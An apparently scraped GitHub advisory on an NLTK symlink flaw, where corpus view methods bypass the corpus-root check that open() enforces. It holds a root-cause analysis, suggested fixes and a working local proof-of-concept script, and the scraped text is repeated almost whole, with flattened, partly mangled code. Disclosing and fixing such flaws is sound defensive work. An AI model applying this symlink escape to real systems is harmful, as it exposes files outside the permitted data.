Where
-Infinity
0
Severity
5.5
Path Traversal
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

affected: PyPI nltk >= 3.9.4 — CorpusReader.abspaths()/abspath() and the PlaintextCorpusReader / SyntaxCorpusReader view methods dynamically reproduced: nltk 3.9.4 (8/9, scoped-escape checks), 3.10.3 (wheel, 9/9 checks) and master 6818767b9 (9/9 checks)

---

Source references (file:line) are to commit 303f6e2b (release tag v3.10.3). Line numbers in the released nltk wheel match this tag exactly; master 6818767b9 contains the same code (pathsec.py renumbered by +44 lines from added hardening comments). In 3.9.4 the same logic exists at earlier line numbers (api.py:222-236 for open(), api.py:161-203 for abspath()/abspaths(), data.py:382-388 for the pointer open, pathsec.py:105-114 for the scoped branch); the affected code is identical.

Summary

CorpusReader.open() (nltk/corpus/reader/api.py:235-257) is NLTK's hardened file-access entry point: after a lexical guard it calls validatepath(..., requiredroot=self.root) (api.py:246-249), and the scoped branch of pathsec.validatepath (nltk/pathsec.py:168-179) resolves symlinks and raises ValueError when the resolved target is not inside the corpus root. The view methods do not use this entry point: PlaintextCorpusReader.words/sents/paras (nltk/corpus/reader/plaintext.py:67-118) and SyntaxCorpusReader.parsedsents/taggedsents/sents/taggedwords/words (api.py:473-519) build their streams from self.abspaths(fileids, ...) (api.py:174-217), which only does a lexical self.root.join(fileid) (nltk/data.py:452-469) and returns a FileSystemPathPointer. That pointer is opened via FileSystemPathPointer.open() → pathsec.open(rawpath, "rb") with requiredroot left at its default None (data.py:438-447, nltk/pathsec.py:752,783), so only the global allowed-roots check runs. The ONOFOLLOW in hardenedopen (pathsec.py:676-731) protects only the final path component, so an intermediate-directory symlink inside the corpus root pointing at a sibling allowed root is followed by the kernel. A caller who places such a symlink (or loads an untrusted corpus containing one) can read any file that open() would refuse — files outside the corpus root yet inside the global NLTK data sandbox — via PlaintextCorpusReader.words([...]) / SyntaxCorpusReader.words([...]) (and the abspaths()-returned pointer), defeating the scoped escape protection that GHSA-p4rw-class fixes and testrequiredrootblockssymlinkescape were added for.

Details

Root cause: two sibling file-access channels on the same CorpusReader disagree about the scoped sandbox.

1. CorpusReader.open() (api.py:235-257) — the guarded channel: - Layer 1 lexical guard (api.py:240-242) rejects absolute paths and ... - Layer 2 scoped guard (api.py:246-249) calls pathsec.validatepath(path, context="CorpusReader", requiredroot=self.root). - The requiredroot branch (pathsec.py:168-179) resolves the target with Path(raw).resolve() and raises ValueError when target.isrelativeto(scopedroot) is false.

2. The view-method channel — abspaths() → FileSystemPathPointer → pathsec.open(requiredroot=None): - CorpusReader.abspath() (api.py:174-183) and abspaths() (api.py:185-217) return self.root.join(f) with no validatepath call. - FileSystemPathPointer.join() (data.py:452-469) only normalizes lexically (normpath + root-prefix startswith); it never calls os.path.realpath/Path.resolve, so the intermediate symlink is preserved verbatim. - FileSystemPathPointer.open() (data.py:438-447) calls secureopen(self.path, "rb") (aliased from pathsec.open) with no requiredroot, so pathsec.open (pathsec.py:752) uses its default requiredroot=None and validatepath (pathsec.py:783) runs only the global allowed-roots check (pathsec.py:181-207). - Under ENFORCE=True + POSIX, hardenedopen (pathsec.py:676-731) opens with ONOFOLLOW (pathsec.py:705) — but that flag only refuses a symlink in the final component; an intermediate directory symlink (corpus/sub -> <other allowed root>) is followed by the kernel. The post-open fd realpath re-validation (pathsec.py:728-731) again uses requiredroot=None, and since the target is inside an allowed root it passes.

3. The view methods hand the unguarded pointers straight to the stream views: - PlaintextCorpusReader.words/sents/paras (plaintext.py:67-118, abspaths at 76/96/116) and chapters (plaintext.py:230). - SyntaxCorpusReader.parsedsents/taggedsents/sents/taggedwords/words (api.py:473-519, abspaths at 478/489/498/509/517). - StreamBackedCorpusView.open() (nltk/corpus/reader/util.py:203-216) calls self.fileid.open(self.encoding) on the PathPointer (util.py:210), landing in the requiredroot=None path above.

Net effect (observed): the identical fileid "sub/secret.txt" is rejected by reader.open() with ValueError: Security Violation [CorpusReader]: Path ... escapes root ... but successfully read by reader.words(["sub/secret.txt"]), returning the out-of-root file's content.

The abspaths()/view-method bypass contradicts the contract stated in open()'s docstring (api.py:238, "Security patched: prevents path traversal and scoped escapes") and the class-level promise that every fileid stays within the corpus root (api.py:26-30). Existing regression tests cover only the open()/validatepath(requiredroot=...) path (testcorpusreader.py:31, testcorpusreaderpathsec.py:39-49), not the view-method channel.

PoC

A self-contained, self-checking repro script is embedded at the end of this advisory. It builds a private temp sandbox as an allowed NLTK data root, creates corpus root R, sibling bar (inside the same allowed root), file bar/secret.txt = TOPSECRET, and an intermediate directory symlink R/sub -> bar. It then asserts the control (same fileid through open() is refused) and the attack (abspaths() pointer, PlaintextCorpusReader.words, SyntaxCorpusReader.words/sents read the secret), plus a boundary check that a symlink pointing outside every allowed root is still refused.

Scope note: dynamically run on (1) the released nltk 3.9.4 wheel, (2) the released nltk 3.10.3 wheel, and (3) master 6818767b9 (v3.10.3-15-g6818767b9). The scoped-escape checks pass on all three; the "global sandbox still blocks outside-allowed-root read" boundary check passes on 3.10.3 and master, and is expected to differ on 3.9.4: 3.9.4 ships pathsec.ENFORCE = False (enforcement became the default only in 3.10.0) and its pathsec.open is a thin builtins.open wrapper with no hardenedopen/ONOFOLLOW, so on 3.9.4 the sandbox does not confine reads to the allowed roots at all — the escape is broader there, not narrower. The requiredroot scoped guard (1b0e519e2, "Implement scoped root validation in pathsec sentinel") is present in 3.9.4 and every later release (v3.10.0/3.10.1/3.10.2/3.10.3 confirmed by tag inspection), and static comparison shows the identical abspaths()/view-method code path in all of them; 3.9.4 and 3.10.3 were the versions dynamically run.

Environment / steps (Python 3.10.12, Linux, pathsec.ENFORCE=True, POSIX):

1. SANDBOX=$(mktemp -d); nltk.data.path.append(SANDBOX) — the private dir becomes an allowed NLTK data root. 2. R=$SANDBOX/corpora/mysample, BAR=$SANDBOX/bar; write BAR/secret.txt = TOPSECRET. 3. ln -s "$BAR" "$R/sub" — intermediate directory symlink inside the corpus root. 4. Control: reader.open("sub/secret.txt") → ValueError: Security Violation [CorpusReader]: Path <BAR>/secret.txt escapes root <R> (refused). 5. Attack: reader.abspaths(["sub/secret.txt"])[0].open().read() → b'TOPSECRET\n'; list(reader.words(["sub/secret.txt"])) → ['TOPSECRET']; same for BracketParseCorpusReader.words/sents. 6. Boundary: R/out -> /etc (outside every allowed root) is refused with PermissionError: Security Violation [pathsec.open]: Unauthorized path ....

Live transcript, key output (identical on nltk 3.9.4, 3.10.3 and master @ 6818767b9 unless noted):

nltk version: 3.9.4/3.10.3 python: 3.10.12 (posix) CONTROL open() rejects symlink escape ValueError: ... escapes root ... abspaths() pointer.open() reads outside root b'TOPSECRET\n' PlaintextCorpusReader.words() leaks outside root ['TOPSECRET'] SyntaxCorpusReader.words() leaks outside root ['TOPSECRET'] GLOBAL sandbox still blocks outside-allowed-root read PermissionError: ... Unauthorized path ... (3.10.3+ only; on 3.9.4 the sandbox is not enforced and the read succeeds) RESULT: 3.9.4: 8/9 · 3.10.3: 9/9 · master: 9/9 (all scoped-escape checks pass)

The scoped-escape checks (the vulnerability itself) pass on all three pinned versions; the single 3.9.4 difference is the global-sandbox boundary check, which is weaker there by design (ENFORCE=False, thin pathsec.open).

Impact

- Type: CWE-59 improper link resolution before file access (with CWE-22 traversal flavor). A local principal who can place an intermediate-directory symlink inside an NLTK corpus root — e.g. a user with any account that loads NLTK corpora, or the supplier of an untrusted corpus in a supply-chain/web-service loading model — can read the contents of any file that lies inside a global NLTK allowed root but outside the corpus root. - Who is impacted: any deployment where a trusted application loads NLTK corpus data that is or contains attacker-influenced directory symlinks: shared/multi-tenant pipelines, notebooks, services that extract downloaded corpora (via tar/git/app logic) into ~/nltkdata/nltk.data.path roots, and CI systems. The scoped guard was added specifically so that "corpus root + in-root symlink" cannot read outside the root even when the target stays inside the global sandbox. - Attacker requirements: a directory symlink must physically exist inside a corpus root on the target machine, pointing at another NLTK allowed root; the fileids passed to a view method must traverse it (fileids is caller-controlled on every affected view method). The attacker therefore needs local filesystem influence to place the symlink — direct write access to the data root, or supply of an untrusted corpus that is unpacked in a symlink-preserving way (manual tar extraction, git checkout, shared/multi-tenant data directory, or app-specific unpacking logic). Note that NLTK's own downloader only handles .zip, and Python zipfile extraction does not preserve symlinks (a symlink member is written as a plain file), so a bare "upload a zip" delivery does not by itself place the symlink. This is why the vector is scored AV:L/PR:L rather than AV:N/PR:N: the read is a local file access and the triggering symlink must already be on the local filesystem. In deployments where a symlink-preserving remote corpus feed feeds the data directory automatically, an attacker could achieve the same effect with no local account; that scenario is covered here under "who is impacted" rather than as a stronger default score. - Effect: cross-corpus / cross-data disclosure of file contents within the global NLTK data sandbox (e.g. reading one corpus through another, or reading private data staged under an allowed root). The global sandbox still confines reads to allowed roots; this does not reach /etc/passwd or arbitrary paths outside the sandbox.

Suggested fix: make the scoped check the single shared behavior of the corpus file-access surface instead of an open()-only special case:

1. In CorpusReader.abspath()/abspaths() (api.py:174-217), run pathsec.validatepath(self.root.join(f), context="CorpusReader", requiredroot=self.root) for every f before returning the pointer — this is the same Layer-2 check open() performs at api.py:246-249, so both channels reject a symlink-resolved escape identically. 2. Alternatively (or additionally), thread requiredroot through the pointer: have CorpusReader attach its root to the FileSystemPathPointer (or have StreamBackedCorpusView.open() in util.py:203-216 pass a scoped root), so pathsec.open/hardenedopen validate the opened fd's realpath against the corpus root — closing the same gap for any future caller that opens pointers. 3. Add regression coverage mirroring testrequiredrootblockssymlinkescape for the view-method channel: a corpus root inside a global allowed root, an intermediate directory symlink to an out-of-root sibling, explicit fileids=["sub/secret.txt"], and an assertion that reader.words(fileids=[...]) (and sents/abspaths().open()) raise ValueError/PermissionError exactly as reader.open(...) does.

---

Reproduction script (self-contained)

bash Self-checking, control-grouped reproduction script embedded in this advisory. Usage: python3 - <<'EOF' ... EOF (requires: pip install nltk) A private temp sandbox is created at runtime and registered via nltk.data.path.

#!/usr/bin/env python3 """Self-checking reproduction of CorpusReader view-method scoped-sandbox bypass.

The affected surfaces are: - CorpusReader.abspaths()/abspath() return a FileSystemPathPointer without the requiredroot scoped check that CorpusReader.open() applies (api.py:235-257); PlaintextCorpusReader view methods open those pointers directly. - SyntaxCorpusReader view methods (words/sents/parsedsents/taggedwords/ taggedsents) also open via abspaths() without the scoped check.

Control group: the SAME fileid through reader.open() is rejected by the Layer-2 scoped guard (validatepath(..., requiredroot=self.root)).

Environment: base sandbox dir is a private temp dir appended to nltk.data.path (the attacker-controlled corpus root lives inside an allowed NLTK data root). """

import os import shutil import sys import tempfile

import nltk import nltk.data

PASS = 0 FAIL = 0

def check(name, cond, detail=""): global PASS, FAIL if cond: PASS += 1 print(f"PASS {name} {detail}") else: FAIL += 1 print(f"FAIL {name} {detail}")

def main(): print(f"nltk version: {nltk.version} python: {sys.version.split()[0]}") import nltk.pathsec as ps

print(f"pathsec.ENFORCE = {ps.ENFORCE} posix = {os.name == 'posix'}")

base = tempfile.mkdtemp(prefix="nltksandbox") os.chmod(base, 0o700) nltk.data.path.append(base) # make the private sandbox an allowed NLTK data root

rootA = os.path.join(base, "corpora", "mysample") # corpus root R rootB = os.path.join(base, "bar") # sibling, inside allowed root os.makedirs(rootA) os.makedirs(rootB)

secret = "TOPSECRET" with open(os.path.join(rootB, "secret.txt"), "w") as f: f.write(secret + "\n")

# Bracket-parse file is read as sexpr blocks by BracketParseCorpusReader with open(os.path.join(rootB, "bracket.txt"), "w") as f: f.write("(S (NP TOPSECRET))\n")

# Intermediate-directory symlink inside the corpus root -> sibling outside R linkdir = os.path.join(rootA, "sub") os.symlink(rootB, linkdir)

check("sandbox is an allowed root", base in {str(p) for p in ps.getallowedroots()}) check("symlink created", os.path.islink(linkdir))

# ---------------------------------------------------------------- control from nltk.corpus.reader.plaintext import PlaintextCorpusReader

reader = PlaintextCorpusReader(rootA, r".") try: reader.open("sub/secret.txt") check("CONTROL open() rejects symlink escape", False, "no exception raised") except ValueError as e: check("CONTROL open() rejects symlink escape", True, f"ValueError: {str(e)[:60]}") except PermissionError as e: check("CONTROL open() rejects symlink escape", True, f"PermissionError: {str(e)[:60]}") except Exception as e: check("CONTROL open() rejects symlink escape", True, f"{type(e).name}: {str(e)[:60]}")

# ------------------------------------------------- abspaths() pointer ptr = reader.abspaths(["sub/secret.txt"])[0] try: content = ptr.open().read() check("abspaths() pointer.open() reads outside root", content == (secret + "\n").encode(), f"got {content!r}") except Exception as e: check("abspaths() pointer.open() reads outside root", False, f"{type(e).name}: {str(e)[:60]}")

# ------------------------------------------------- PlaintextReader.words() try: words = list(reader.words(["sub/secret.txt"])) check("PlaintextCorpusReader.words() leaks outside root", any(secret in w for w in words), f"words={words}") except Exception as e: check("PlaintextCorpusReader.words() leaks outside root", False, f"{type(e).name}: {str(e)[:60]}")

# ------------------------------------------------------------ syntax views from nltk.corpus.reader.bracketparse import BracketParseCorpusReader

brow = BracketParseCorpusReader(rootA, r".") try: # control on the syntax reader open() brow.open("sub/bracket.txt") check("CONTROL syntax reader open() rejects symlink escape", False, "no exception raised") except Exception as e: check("CONTROL syntax reader open() rejects symlink escape", True, f"{type(e).name}: {str(e)[:60]}")

try: sent = list(brow.words(["sub/bracket.txt"])) check("SyntaxCorpusReader.words() leaks outside root", any(secret in w for w in sent), f"words={sent}") except Exception as e: check("SyntaxCorpusReader.words() leaks outside root", False, f"{type(e).name}: {str(e)[:60]}")

try: sents = list(brow.sents(["sub/bracket.txt"])) check("SyntaxCorpusReader.sents() leaks outside root", any(secret in w for w in sents), f"sents={sents}") except Exception as e: check("SyntaxCorpusReader.sents() leaks outside root", False, f"{type(e).name}: {str(e)[:60]}")

# ----------------------------------------------------------- global-sandbox boundary # The escape is bounded: a file OUTSIDE every allowed root must still be refused. outside = os.path.join(base, "..", "etc") os.makedirs(outside, existok=True) outfile = os.path.join(outside, "secret.txt") with open(outfile, "w") as f: f.write("OUTSIDE\n") # point a second symlink inside rootA to a directory outside all allowed roots linkout = os.path.join(rootA, "out") os.symlink(outside, linkout) try: got = reader.abspaths(["out/secret.txt"])[0].open().read() check("GLOBAL sandbox still blocks outside-allowed-root read", False, f"leaked {got!r}") except Exception as e: check("GLOBAL sandbox still blocks outside-allowed-root read", True, f"{type(e).name}: {str(e)[:60]}")

print(f"\nRESULT: {PASS} passed, {FAIL} failed") shutil.rmtree(base, ignoreerrors=True) return 0 if FAIL == 0 else 1

if name == "main": sys.exit(main())

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3761 "Contain CorpusReader / agreement / chat80 file I/O in the pathsec sandbox", merged 2026-08-17, merge commit cd4953f7b on develop. Fix commit: 9f7cf06b4 (the corpus-reader path pointers and view methods resolve and validate against the reader's root, so an intermediate directory symlink that leaves the root is refused).

Probe: none. The advisory PoC re-run (a corpus root R with R/sub pointing at a sibling directory inside the same data root, then abspaths()[0].open(), words() and open() on sub/secret.txt): on develop 2fa3f48fe all three are refused with ValueError (security violation, path escapes root); on v3.10.3 and on 6818767b9 abspaths().open() and words() return the secret while open() is refused, which matches the advisory. A bisect of develop between 6818767b9 and 2fa3f48fe with that reproduction names 9f7cf06b4 as the first fixed commit.

Release: none yet; no release tag contains 9f7cf06b4.

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
Path Traversal
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

affected: PyPI nltk >= 3.9.4 — CorpusReader.abspaths()/abspath() and the PlaintextCorpusReader / SyntaxCorpusReader view methods dynamically reproduced: nltk 3.9.4 (8/9, scoped-escape checks), 3.10.3 (wheel, 9/9 checks) and master 6818767b9 (9/9 checks)

---

Source references (file:line) are to commit 303f6e2b (release tag v3.10.3). Line numbers in the released nltk wheel match this tag exactly; master 6818767b9 contains the same code (pathsec.py renumbered by +44 lines from added hardening comments). In 3.9.4 the same logic exists at earlier line numbers (api.py:222-236 for open(), api.py:161-203 for abspath()/abspaths(), data.py:382-388 for the pointer open, pathsec.py:105-114 for the scoped branch); the affected code is identical.

Summary

CorpusReader.open() (nltk/corpus/reader/api.py:235-257) is NLTK's hardened file-access entry point: after a lexical guard it calls validatepath(..., requiredroot=self.root) (api.py:246-249), and the scoped branch of pathsec.validatepath (nltk/pathsec.py:168-179) resolves symlinks and raises ValueError when the resolved target is not inside the corpus root. The view methods do not use this entry point: PlaintextCorpusReader.words/sents/paras (nltk/corpus/reader/plaintext.py:67-118) and SyntaxCorpusReader.parsedsents/taggedsents/sents/taggedwords/words (api.py:473-519) build their streams from self.abspaths(fileids, ...) (api.py:174-217), which only does a lexical self.root.join(fileid) (nltk/data.py:452-469) and returns a FileSystemPathPointer. That pointer is opened via FileSystemPathPointer.open() → pathsec.open(rawpath, "rb") with requiredroot left at its default None (data.py:438-447, nltk/pathsec.py:752,783), so only the global allowed-roots check runs. The ONOFOLLOW in hardenedopen (pathsec.py:676-731) protects only the final path component, so an intermediate-directory symlink inside the corpus root pointing at a sibling allowed root is followed by the kernel. A caller who places such a symlink (or loads an untrusted corpus containing one) can read any file that open() would refuse — files outside the corpus root yet inside the global NLTK data sandbox — via PlaintextCorpusReader.words([...]) / SyntaxCorpusReader.words([...]) (and the abspaths()-returned pointer), defeating the scoped escape protection that GHSA-p4rw-class fixes and testrequiredrootblockssymlinkescape were added for.

Details

Root cause: two sibling file-access channels on the same CorpusReader disagree about the scoped sandbox.

1. CorpusReader.open() (api.py:235-257) — the guarded channel: - Layer 1 lexical guard (api.py:240-242) rejects absolute paths and ... - Layer 2 scoped guard (api.py:246-249) calls pathsec.validatepath(path, context="CorpusReader", requiredroot=self.root). - The requiredroot branch (pathsec.py:168-179) resolves the target with Path(raw).resolve() and raises ValueError when target.isrelativeto(scopedroot) is false.

2. The view-method channel — abspaths() → FileSystemPathPointer → pathsec.open(requiredroot=None): - CorpusReader.abspath() (api.py:174-183) and abspaths() (api.py:185-217) return self.root.join(f) with no validatepath call. - FileSystemPathPointer.join() (data.py:452-469) only normalizes lexically (normpath + root-prefix startswith); it never calls os.path.realpath/Path.resolve, so the intermediate symlink is preserved verbatim. - FileSystemPathPointer.open() (data.py:438-447) calls secureopen(self.path, "rb") (aliased from pathsec.open) with no requiredroot, so pathsec.open (pathsec.py:752) uses its default requiredroot=None and validatepath (pathsec.py:783) runs only the global allowed-roots check (pathsec.py:181-207). - Under ENFORCE=True + POSIX, hardenedopen (pathsec.py:676-731) opens with ONOFOLLOW (pathsec.py:705) — but that flag only refuses a symlink in the final component; an intermediate directory symlink (corpus/sub -> <other allowed root>) is followed by the kernel. The post-open fd realpath re-validation (pathsec.py:728-731) again uses requiredroot=None, and since the target is inside an allowed root it passes.

3. The view methods hand the unguarded pointers straight to the stream views: - PlaintextCorpusReader.words/sents/paras (plaintext.py:67-118, abspaths at 76/96/116) and chapters (plaintext.py:230). - SyntaxCorpusReader.parsedsents/taggedsents/sents/taggedwords/words (api.py:473-519, abspaths at 478/489/498/509/517). - StreamBackedCorpusView.open() (nltk/corpus/reader/util.py:203-216) calls self.fileid.open(self.encoding) on the PathPointer (util.py:210), landing in the requiredroot=None path above.

Net effect (observed): the identical fileid "sub/secret.txt" is rejected by reader.open() with ValueError: Security Violation [CorpusReader]: Path ... escapes root ... but successfully read by reader.words(["sub/secret.txt"]), returning the out-of-root file's content.

The abspaths()/view-method bypass contradicts the contract stated in open()'s docstring (api.py:238, "Security patched: prevents path traversal and scoped escapes") and the class-level promise that every fileid stays within the corpus root (api.py:26-30). Existing regression tests cover only the open()/validatepath(requiredroot=...) path (testcorpusreader.py:31, testcorpusreaderpathsec.py:39-49), not the view-method channel.

PoC

A self-contained, self-checking repro script is embedded at the end of this advisory. It builds a private temp sandbox as an allowed NLTK data root, creates corpus root R, sibling bar (inside the same allowed root), file bar/secret.txt = TOPSECRET, and an intermediate directory symlink R/sub -> bar. It then asserts the control (same fileid through open() is refused) and the attack (abspaths() pointer, PlaintextCorpusReader.words, SyntaxCorpusReader.words/sents read the secret), plus a boundary check that a symlink pointing outside every allowed root is still refused.

Scope note: dynamically run on (1) the released nltk 3.9.4 wheel, (2) the released nltk 3.10.3 wheel, and (3) master 6818767b9 (v3.10.3-15-g6818767b9). The scoped-escape checks pass on all three; the "global sandbox still blocks outside-allowed-root read" boundary check passes on 3.10.3 and master, and is expected to differ on 3.9.4: 3.9.4 ships pathsec.ENFORCE = False (enforcement became the default only in 3.10.0) and its pathsec.open is a thin builtins.open wrapper with no hardenedopen/ONOFOLLOW, so on 3.9.4 the sandbox does not confine reads to the allowed roots at all — the escape is broader there, not narrower. The requiredroot scoped guard (1b0e519e2, "Implement scoped root validation in pathsec sentinel") is present in 3.9.4 and every later release (v3.10.0/3.10.1/3.10.2/3.10.3 confirmed by tag inspection), and static comparison shows the identical abspaths()/view-method code path in all of them; 3.9.4 and 3.10.3 were the versions dynamically run.

Environment / steps (Python 3.10.12, Linux, pathsec.ENFORCE=True, POSIX):

1. SANDBOX=$(mktemp -d); nltk.data.path.append(SANDBOX) — the private dir becomes an allowed NLTK data root. 2. R=$SANDBOX/corpora/mysample, BAR=$SANDBOX/bar; write BAR/secret.txt = TOPSECRET. 3. ln -s "$BAR" "$R/sub" — intermediate directory symlink inside the corpus root. 4. Control: reader.open("sub/secret.txt") → ValueError: Security Violation [CorpusReader]: Path <BAR>/secret.txt escapes root <R> (refused). 5. Attack: reader.abspaths(["sub/secret.txt"])[0].open().read() → b'TOPSECRET\n'; list(reader.words(["sub/secret.txt"])) → ['TOPSECRET']; same for BracketParseCorpusReader.words/sents. 6. Boundary: R/out -> /etc (outside every allowed root) is refused with PermissionError: Security Violation [pathsec.open]: Unauthorized path ....

Live transcript, key output (identical on nltk 3.9.4, 3.10.3 and master @ 6818767b9 unless noted):

nltk version: 3.9.4/3.10.3 python: 3.10.12 (posix) CONTROL open() rejects symlink escape ValueError: ... escapes root ... abspaths() pointer.open() reads outside root b'TOPSECRET\n' PlaintextCorpusReader.words() leaks outside root ['TOPSECRET'] SyntaxCorpusReader.words() leaks outside root ['TOPSECRET'] GLOBAL sandbox still blocks outside-allowed-root read PermissionError: ... Unauthorized path ... (3.10.3+ only; on 3.9.4 the sandbox is not enforced and the read succeeds) RESULT: 3.9.4: 8/9 · 3.10.3: 9/9 · master: 9/9 (all scoped-escape checks pass)

The scoped-escape checks (the vulnerability itself) pass on all three pinned versions; the single 3.9.4 difference is the global-sandbox boundary check, which is weaker there by design (ENFORCE=False, thin pathsec.open).

Impact

- Type: CWE-59 improper link resolution before file access (with CWE-22 traversal flavor). A local principal who can place an intermediate-directory symlink inside an NLTK corpus root — e.g. a user with any account that loads NLTK corpora, or the supplier of an untrusted corpus in a supply-chain/web-service loading model — can read the contents of any file that lies inside a global NLTK allowed root but outside the corpus root. - Who is impacted: any deployment where a trusted application loads NLTK corpus data that is or contains attacker-influenced directory symlinks: shared/multi-tenant pipelines, notebooks, services that extract downloaded corpora (via tar/git/app logic) into ~/nltkdata/nltk.data.path roots, and CI systems. The scoped guard was added specifically so that "corpus root + in-root symlink" cannot read outside the root even when the target stays inside the global sandbox. - Attacker requirements: a directory symlink must physically exist inside a corpus root on the target machine, pointing at another NLTK allowed root; the fileids passed to a view method must traverse it (fileids is caller-controlled on every affected view method). The attacker therefore needs local filesystem influence to place the symlink — direct write access to the data root, or supply of an untrusted corpus that is unpacked in a symlink-preserving way (manual tar extraction, git checkout, shared/multi-tenant data directory, or app-specific unpacking logic). Note that NLTK's own downloader only handles .zip, and Python zipfile extraction does not preserve symlinks (a symlink member is written as a plain file), so a bare "upload a zip" delivery does not by itself place the symlink. This is why the vector is scored AV:L/PR:L rather than AV:N/PR:N: the read is a local file access and the triggering symlink must already be on the local filesystem. In deployments where a symlink-preserving remote corpus feed feeds the data directory automatically, an attacker could achieve the same effect with no local account; that scenario is covered here under "who is impacted" rather than as a stronger default score. - Effect: cross-corpus / cross-data disclosure of file contents within the global NLTK data sandbox (e.g. reading one corpus through another, or reading private data staged under an allowed root). The global sandbox still confines reads to allowed roots; this does not reach /etc/passwd or arbitrary paths outside the sandbox.

Suggested fix: make the scoped check the single shared behavior of the corpus file-access surface instead of an open()-only special case:

1. In CorpusReader.abspath()/abspaths() (api.py:174-217), run pathsec.validatepath(self.root.join(f), context="CorpusReader", requiredroot=self.root) for every f before returning the pointer — this is the same Layer-2 check open() performs at api.py:246-249, so both channels reject a symlink-resolved escape identically. 2. Alternatively (or additionally), thread requiredroot through the pointer: have CorpusReader attach its root to the FileSystemPathPointer (or have StreamBackedCorpusView.open() in util.py:203-216 pass a scoped root), so pathsec.open/hardenedopen validate the opened fd's realpath against the corpus root — closing the same gap for any future caller that opens pointers. 3. Add regression coverage mirroring testrequiredrootblockssymlinkescape for the view-method channel: a corpus root inside a global allowed root, an intermediate directory symlink to an out-of-root sibling, explicit fileids=["sub/secret.txt"], and an assertion that reader.words(fileids=[...]) (and sents/abspaths().open()) raise ValueError/PermissionError exactly as reader.open(...) does.

---

Reproduction script (self-contained)

bash Self-checking, control-grouped reproduction script embedded in this advisory. Usage: python3 - <<'EOF' ... EOF (requires: pip install nltk) A private temp sandbox is created at runtime and registered via nltk.data.path.

#!/usr/bin/env python3 """Self-checking reproduction of CorpusReader view-method scoped-sandbox bypass.

The affected surfaces are: - CorpusReader.abspaths()/abspath() return a FileSystemPathPointer without the requiredroot scoped check that CorpusReader.open() applies (api.py:235-257); PlaintextCorpusReader view methods open those pointers directly. - SyntaxCorpusReader view methods (words/sents/parsedsents/taggedwords/ taggedsents) also open via abspaths() without the scoped check.

Control group: the SAME fileid through reader.open() is rejected by the Layer-2 scoped guard (validatepath(..., requiredroot=self.root)).

Environment: base sandbox dir is a private temp dir appended to nltk.data.path (the attacker-controlled corpus root lives inside an allowed NLTK data root). """

import os import shutil import sys import tempfile

import nltk import nltk.data

PASS = 0 FAIL = 0

def check(name, cond, detail=""): global PASS, FAIL if cond: PASS += 1 print(f"PASS {name} {detail}") else: FAIL += 1 print(f"FAIL {name} {detail}")

def main(): print(f"nltk version: {nltk.version} python: {sys.version.split()[0]}") import nltk.pathsec as ps

print(f"pathsec.ENFORCE = {ps.ENFORCE} posix = {os.name == 'posix'}")

base = tempfile.mkdtemp(prefix="nltksandbox") os.chmod(base, 0o700) nltk.data.path.append(base) # make the private sandbox an allowed NLTK data root

rootA = os.path.join(base, "corpora", "mysample") # corpus root R rootB = os.path.join(base, "bar") # sibling, inside allowed root os.makedirs(rootA) os.makedirs(rootB)

secret = "TOPSECRET" with open(os.path.join(rootB, "secret.txt"), "w") as f: f.write(secret + "\n")

# Bracket-parse file is read as sexpr blocks by BracketParseCorpusReader with open(os.path.join(rootB, "bracket.txt"), "w") as f: f.write("(S (NP TOPSECRET))\n")

# Intermediate-directory symlink inside the corpus root -> sibling outside R linkdir = os.path.join(rootA, "sub") os.symlink(rootB, linkdir)

check("sandbox is an allowed root", base in {str(p) for p in ps.getallowedroots()}) check("symlink created", os.path.islink(linkdir))

# ---------------------------------------------------------------- control from nltk.corpus.reader.plaintext import PlaintextCorpusReader

reader = PlaintextCorpusReader(rootA, r".") try: reader.open("sub/secret.txt") check("CONTROL open() rejects symlink escape", False, "no exception raised") except ValueError as e: check("CONTROL open() rejects symlink escape", True, f"ValueError: {str(e)[:60]}") except PermissionError as e: check("CONTROL open() rejects symlink escape", True, f"PermissionError: {str(e)[:60]}") except Exception as e: check("CONTROL open() rejects symlink escape", True, f"{type(e).name}: {str(e)[:60]}")

# ------------------------------------------------- abspaths() pointer ptr = reader.abspaths(["sub/secret.txt"])[0] try: content = ptr.open().read() check("abspaths() pointer.open() reads outside root", content == (secret + "\n").encode(), f"got {content!r}") except Exception as e: check("abspaths() pointer.open() reads outside root", False, f"{type(e).name}: {str(e)[:60]}")

# ------------------------------------------------- PlaintextReader.words() try: words = list(reader.words(["sub/secret.txt"])) check("PlaintextCorpusReader.words() leaks outside root", any(secret in w for w in words), f"words={words}") except Exception as e: check("PlaintextCorpusReader.words() leaks outside root", False, f"{type(e).name}: {str(e)[:60]}")

# ------------------------------------------------------------ syntax views from nltk.corpus.reader.bracketparse import BracketParseCorpusReader

brow = BracketParseCorpusReader(rootA, r".") try: # control on the syntax reader open() brow.open("sub/bracket.txt") check("CONTROL syntax reader open() rejects symlink escape", False, "no exception raised") except Exception as e: check("CONTROL syntax reader open() rejects symlink escape", True, f"{type(e).name}: {str(e)[:60]}")

try: sent = list(brow.words(["sub/bracket.txt"])) check("SyntaxCorpusReader.words() leaks outside root", any(secret in w for w in sent), f"words={sent}") except Exception as e: check("SyntaxCorpusReader.words() leaks outside root", False, f"{type(e).name}: {str(e)[:60]}")

try: sents = list(brow.sents(["sub/bracket.txt"])) check("SyntaxCorpusReader.sents() leaks outside root", any(secret in w for w in sents), f"sents={sents}") except Exception as e: check("SyntaxCorpusReader.sents() leaks outside root", False, f"{type(e).name}: {str(e)[:60]}")

# ----------------------------------------------------------- global-sandbox boundary # The escape is bounded: a file OUTSIDE every allowed root must still be refused. outside = os.path.join(base, "..", "etc") os.makedirs(outside, existok=True) outfile = os.path.join(outside, "secret.txt") with open(outfile, "w") as f: f.write("OUTSIDE\n") # point a second symlink inside rootA to a directory outside all allowed roots linkout = os.path.join(rootA, "out") os.symlink(outside, linkout) try: got = reader.abspaths(["out/secret.txt"])[0].open().read() check("GLOBAL sandbox still blocks outside-allowed-root read", False, f"leaked {got!r}") except Exception as e: check("GLOBAL sandbox still blocks outside-allowed-root read", True, f"{type(e).name}: {str(e)[:60]}")

print(f"\nRESULT: {PASS} passed, {FAIL} failed") shutil.rmtree(base, ignoreerrors=True) return 0 if FAIL == 0 else 1

if name == "main": sys.exit(main())

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

